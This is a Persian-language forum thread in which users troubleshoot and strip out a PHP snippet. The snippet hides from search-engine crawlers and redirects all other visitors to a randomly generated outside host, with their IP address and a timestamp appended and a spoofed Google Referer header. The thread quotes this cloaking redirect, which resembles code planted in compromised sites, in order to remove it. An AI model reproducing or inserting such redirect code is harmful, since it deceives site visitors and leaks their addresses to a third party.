نمایش نتایج: از شماره 1 تا 4 , از مجموع 4

موضوع: مشکل در ریدایرکت

  1. #1
    عضو انجمن fr0nk آواتار ها
    تاریخ عضویت
    Jun 2011
    محل سکونت
    /etc/passwd
    نوشته ها
    379
    تشکر تشکر کرده 
    72
    تشکر تشکر شده 
    373
    تشکر شده در
    248 پست

    پیش فرض مشکل در ریدایرکت

    با سلام

    توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده
    کد:
    <?php
    date_default_timezone_set('Asia/Tehran');
    
    if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
    {
        echo '<title></title>'.
            '<meta name="keywords" content="">'.
            '<meta name="description" content="">'.
            '<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
            '<meta name="copyright" content="">'.
            '<META NAME="Language" CONTENT="persian">'.
            '<meta name="reply-to" content="" />'.
            '<meta name="revisit-after" content="1 days">'.
            '<meta name="revisit-after" content="1 day">';
    }
    else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
    {
        $url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
        header("Referer: https://www.google.com/");
        header("Location: ".$url);
        header("Referer: https://www.google.com/");
        exit();
    }
    else
    {
        echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
    }
    ?>
    مشکل رو else if هست

    حذف بشه هم اسکریپت کامل نمیاد بالا


    ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده

    راه حل دوستان

    فروش اسکریپت k-panel (مدیریت کریو ) به صورت متن باز
    با قیمت 80 هزار تومان به صورت یک بار
    برای خرید در پیغام خصوصی در ارتباط باشید


  2. # ADS




     

  3. #2
    کاربر اخراج شده
    تاریخ عضویت
    Aug 2008
    نوشته ها
    52
    تشکر تشکر کرده 
    20
    تشکر تشکر شده 
    35
    تشکر شده در
    33 پست

    پیش فرض پاسخ : مشکل در ریدایرکت

    نقل قول نوشته اصلی توسط fr0nk نمایش پست ها
    با سلام

    توی یک سیستمی برای جلوگیری از استفاده یه کد به کار رفته که کلا هرجا نصب کنید هر ادرسی بزنید میره سایت که شخص ست کرده
    کد:
    <?php
    date_default_timezone_set('Asia/Tehran');
    
    if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
    {
        echo '<title></title>'.
            '<meta name="keywords" content="">'.
            '<meta name="description" content="">'.
            '<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
            '<meta name="copyright" content="">'.
            '<META NAME="Language" CONTENT="persian">'.
            '<meta name="reply-to" content="" />'.
            '<meta name="revisit-after" content="1 days">'.
            '<meta name="revisit-after" content="1 day">';
    }
    else if(!(strpos($_SERVER[HTTP_HOST],'server') !== false))
    {
        $url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");
        header("Referer: https://www.google.com/");
        header("Location: ".$url);
        header("Referer: https://www.google.com/");
        exit();
    }
    else
    {
        echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
    }
    ?>
    مشکل رو else if هست

    حذف بشه هم اسکریپت کامل نمیاد بالا


    ادرس متغیر url هم عوض بشه ارور های مثلا Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRIng میده

    راه حل دوستان
    اگر فرض کنیم که این کد به جای دیگه ای یا به کد های پایینش وابسطه نباشه

    در نتیجه تغییرات به این صورت هرگز ارور نباید بده

    کد:
    <?php
    date_default_timezone_set('Asia/Tehran');
    
    if(strpos($_SERVER["HTTP_USER_AGENT"],"Googlebot") || strpos($_SERVER["HTTP_USER_AGENT"],"Baiduspider") || strpos($_SERVER["HTTP_USER_AGENT"],"bingbot") || strpos($_SERVER["HTTP_USER_AGENT"],"adidxbot") || strpos($_SERVER["HTTP_USER_AGENT"],"msnbot") || strpos($_SERVER["HTTP_USER_AGENT"],"AhrefsBot") || strpos($_SERVER["HTTP_USER_AGENT"],"ia_archiver"))
    {
        echo '<title></title>'.
            '<meta name="keywords" content="">'.
            '<meta name="description" content="">'.
            '<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
            '<meta name="copyright" content="">'.
            '<META NAME="Language" CONTENT="persian">'.
            '<meta name="reply-to" content="" />'.
            '<meta name="revisit-after" content="1 days">'.
            '<meta name="revisit-after" content="1 day">';
    }
    else if(!(strpos($_SERVER["HTTP_HOST"],'server') !== false))
    {
        echo '<title></title>'.
            '<meta name="keywords" content="">'.
            '<meta name="description" content="">'.
            '<META HTTP-EQUIV="Content-Language" CONTENT="fa-IR">'.
            '<meta name="copyright" content="">'.
            '<META NAME="Language" CONTENT="persian">'.
            '<meta name="reply-to" content="" />'.
            '<meta name="revisit-after" content="1 days">'.
            '<meta name="revisit-after" content="1 day">';
    }
    else
    {
        echo '<title> '.gethostbyaddr($_SERVER["REMOTE_ADDR"]).' </title>';
    }
    ?>
    ویرایش توسط hamed_mp : January 28th, 2013 در ساعت 21:32

  4. #3
    عضو انجمن fr0nk آواتار ها
    تاریخ عضویت
    Jun 2011
    محل سکونت
    /etc/passwd
    نوشته ها
    379
    تشکر تشکر کرده 
    72
    تشکر تشکر شده 
    373
    تشکر شده در
    248 پست

    پیش فرض پاسخ : مشکل در ریدایرکت

    حذف این قسمت
    کد:
    {     $url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");     header("Referer: https://www.google.com/");     header("Location: ".$url);     header("Referer: https://www.google.com/");     exit(); }
    باعث لود ناقص اسکریپت میشه

    فروش اسکریپت k-panel (مدیریت کریو ) به صورت متن باز
    با قیمت 80 هزار تومان به صورت یک بار
    برای خرید در پیغام خصوصی در ارتباط باشید


  5. #4
    کاربر اخراج شده
    تاریخ عضویت
    Aug 2008
    نوشته ها
    52
    تشکر تشکر کرده 
    20
    تشکر تشکر شده 
    35
    تشکر شده در
    33 پست

    پیش فرض پاسخ : مشکل در ریدایرکت

    نقل قول نوشته اصلی توسط fr0nk نمایش پست ها
    حذف این قسمت
    کد:
    {     $url = "http://server".rand(1,255).".".rand(1,255).".".rand(1,255).".".rand(1,255).".xxx.xxx/?".$_SERVER["REMOTE_ADDR"]."-".date("Y/m/d")."-".date("H:i:s");     header("Referer: https://www.google.com/");     header("Location: ".$url);     header("Referer: https://www.google.com/");     exit(); }
    باعث لود ناقص اسکریپت میشه
    کدی که به شما دادم جایگزین کنید و نتیجه را بکویید

اطلاعات موضوع

کاربرانی که در حال مشاهده این موضوع هستند

در حال حاضر 1 کاربر در حال مشاهده این موضوع است. (0 کاربران و 1 مهمان ها)

مجوز های ارسال و ویرایش

  • شما نمیتوانید موضوع جدیدی ارسال کنید
  • شما امکان ارسال پاسخ را ندارید
  • شما نمیتوانید فایل پیوست کنید.
  • شما نمیتوانید پست های خود را ویرایش کنید
  •